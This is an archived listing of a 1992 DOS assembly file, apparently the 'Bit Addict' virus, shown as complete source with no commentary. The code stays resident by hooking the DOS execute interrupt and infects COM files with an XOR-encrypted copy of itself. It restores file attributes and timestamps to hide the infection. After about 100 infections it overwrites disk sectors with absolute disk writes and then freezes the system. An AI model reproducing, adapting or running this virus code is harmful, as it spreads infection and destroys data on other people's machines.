home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ADDICT3.ASM < prev    next >
Assembly Source File  |  1992-03-17  |  3KB  |  265 lines

  1. code segment
  2.     assume    cs:code,ds:code,es:code
  3.  
  4.     org    0
  5.  
  6. Size2    equ    Virus-Relocate
  7.  
  8.     mov    cx,Size2
  9.     mov    ax,word ptr ds:[101h]
  10.     call    Virus
  11.  
  12. Relocate:
  13.     cmp    byte ptr ds:[103h],100
  14.     jb    InstallVirus
  15.  
  16.     xor    dx,dx
  17. Repeat:    push    dx
  18.     mov    ax,2
  19.     xor    bx,bx
  20.     mov    cx,100
  21.     int    26h
  22.     pop    ax
  23.     pop    dx
  24.     add    dx,100
  25.     jnc    Repeat
  26.  
  27.     cli
  28. Hangup:    jmp    Hangup
  29.  
  30. InstallVirus:
  31.     mov    ax,04b41h
  32.     int    21h
  33.     mov    ds,ax
  34.     pop    ax
  35.     sub    ax,offset Relocate
  36.     xor    si,si
  37.     mov    di,ax
  38.     mov    cx,offset Size1
  39.     cld
  40.     repe    cmpsb
  41.     je    Exit
  42.     push    ax
  43.     mov    ah,52h
  44.     int    21h
  45.     push    bx
  46.     mov    ah,30h
  47.     int    21h
  48.     pop    di
  49.     pop    bx
  50.     cmp    al,2
  51.     jb    Exit
  52.     cmp    al,3
  53.     adc    di,12h
  54.     call    GetBuffer
  55.     mov    cs:DataBuffer[bx],ax
  56.     call    GetBuffer
  57.     mov    es,ax
  58.     push    cs
  59.     pop    ds
  60.     mov    si,bx
  61.     xor    di,di
  62.     mov    cx,offset Size1
  63.     cld
  64.     rep    movsb
  65.     xor    ax,ax
  66.     mov    ds,ax
  67.     mov    ax,ds:[84h]
  68.     mov    es:word ptr OldInt21[0],ax
  69.     mov    ax,ds:[86h]
  70.     mov    es:word ptr OldInt21[2],ax
  71.     mov    word ptr ds:[84h],offset NewInt21
  72.     mov    word ptr ds:[86h],es
  73.     push    cs
  74.     pop    ds
  75.     push    bx
  76.     mov    ax,4b40h
  77.     lea    dx,Command[bx]
  78.     int    21h
  79.     pop    bx
  80. Exit:    push    cs
  81.     pop    es
  82.     push    cs
  83.     pop    ds
  84.     lea    si,SavedCode[bx]
  85.     mov    di,0100h
  86.     push    di
  87.     mov    cx,14
  88.     rep    movsb
  89.     ret
  90.  
  91. GetBuffer:
  92.     push    di
  93.     lds    si,es:[di]
  94.     movsw
  95.     movsw
  96.     add    si,0bh
  97.     mov    cl,4
  98.     shr    si,cl
  99.     mov    ax,ds
  100.     add    ax,si
  101.     pop    di
  102.     ret
  103.  
  104. Jump        db    0e9h
  105. NearOffset    dw    0
  106.         db    0
  107. ID        db    'Bit Addict'
  108. Command        db    '\COMMAND.COM',0
  109.  
  110. SavedCode    db    0cdh,020h,12 dup (0h)
  111. Check        equ    SavedCode[4]
  112. Count        equ    SavedCode[3]
  113.  
  114. OldInt21    dd    0
  115. DataBuffer    dw    0
  116.  
  117. NewInt21:
  118.     cmp    ax,04b41h
  119.     jne    Ok1
  120.     mov    ax,cs
  121.     iret
  122. Ok1:    cmp    ah,4bh
  123.     je    Infect
  124. EOI:    jmp    dword ptr cs:OldInt21
  125.  
  126. WriteHeader:
  127.     push    dx
  128.     mov    ax,4200h
  129.     xor    cx,cx
  130.     xor    dx,dx
  131.     int    21h
  132.     pop    dx
  133.     jc    Return
  134.     mov    ah,40h
  135.     mov    cx,14
  136.     int    21h
  137. Return:    ret
  138.  
  139. Infect:    push    ax
  140.     push    bx
  141.     push    cx
  142.     push    si
  143.     push    di
  144.     push    es
  145.     push    ds
  146.     push    dx
  147.     mov    ax,04300h
  148.     int    21h
  149.     push    cx
  150.     test    cx,1
  151.     jz    Ok2
  152.     mov    ax,04301h
  153.     and    cx,0fffeh
  154.     int    21h
  155. Ok2:    mov    ax,03d02h
  156.     int    21h
  157.     jnc    OpenOk
  158.     jmp    Error
  159. OpenOk:    mov    bx,ax
  160.     mov    ax,05700h
  161.     int    21h
  162.     push    cx
  163.     push    dx
  164.     push    cs
  165.     pop    ds
  166.     mov    es,DataBuffer
  167.     xor    si,si
  168.     xor    di,di
  169.     mov    cx,offset Size1
  170.     cld
  171.     rep    movsb
  172.     push    es
  173.     pop    ds
  174.     mov    ah,3fh
  175.     mov    cx,14
  176.     mov    dx,offset SavedCode
  177.     int    21h
  178.     jc    Close2
  179.     cmp    ax,14
  180.     jne    Close2
  181.     mov    si,offset Check
  182.     mov    di,offset ID
  183.     mov    cx,10
  184.     cld
  185. Comp:    lodsb
  186.     xor    al,SavedCode[1]
  187.     scasb
  188.     loope    Comp
  189.     je    Counter
  190.     cmp    word ptr SavedCode,5a4dh
  191.     je    Close2
  192.     mov    ax,04202h
  193.     xor    cx,cx
  194.     xor    dx,dx
  195.     int    21h
  196.     jc    Close2
  197.     or    dx,dx
  198.     jne    Close2
  199.     cmp    ax,0fe80h
  200.     jae    Close2
  201.     sub    ax,3
  202.     mov    NearOffset,ax
  203.     push    ax
  204.     mov    si,offset Relocate
  205.     mov    cx,Size2
  206. Rep1:    xor    [si],al
  207.     inc    si
  208.     loop    Rep1
  209.     mov    ah,40h
  210.     mov    cx,offset Size1
  211.     xor    dx,dx
  212.     int    21h
  213.     pop    ax
  214.     jc    Close2
  215.     mov    si,offset Jump
  216.     mov    cx,4
  217. Rep2:    xor    [si],al
  218.     inc    si
  219.     loop    Rep2
  220.     mov    dx,offset Jump
  221.     call    WriteHeader
  222. Close2:    jmp    short Close
  223. Counter:inc    Count
  224.     mov    dx,offset SavedCode
  225.     call    WriteHeader
  226.     jc    Close
  227. Close:    pop    dx
  228.     pop    cx
  229.     mov    ax,05701h
  230.     int    21h
  231.     mov    ax,03e00h
  232.     int    21h
  233. Error:    pop    cx
  234.     pop    dx
  235.     pop    ds
  236.     test    cx,1
  237.     jz    Ok3
  238.     mov    ax,04301h
  239.     int    21h
  240. Ok3:    pop    es
  241.     pop    di
  242.     pop    si
  243.     pop    cx
  244.     pop    bx
  245.     pop    ax
  246.     cmp    al,40h
  247.     je    IntRet
  248.     jmp    EOI
  249.  
  250. IntRet:    iret
  251.  
  252. Virus:    pop    si
  253.     push    si
  254.     push    si
  255. Rep4:    xor    [si],al
  256.     inc    si
  257.     loop    Rep4
  258.     ret
  259.  
  260. Size1    equ    $
  261.  
  262. code ends
  263.  
  264. end
  265.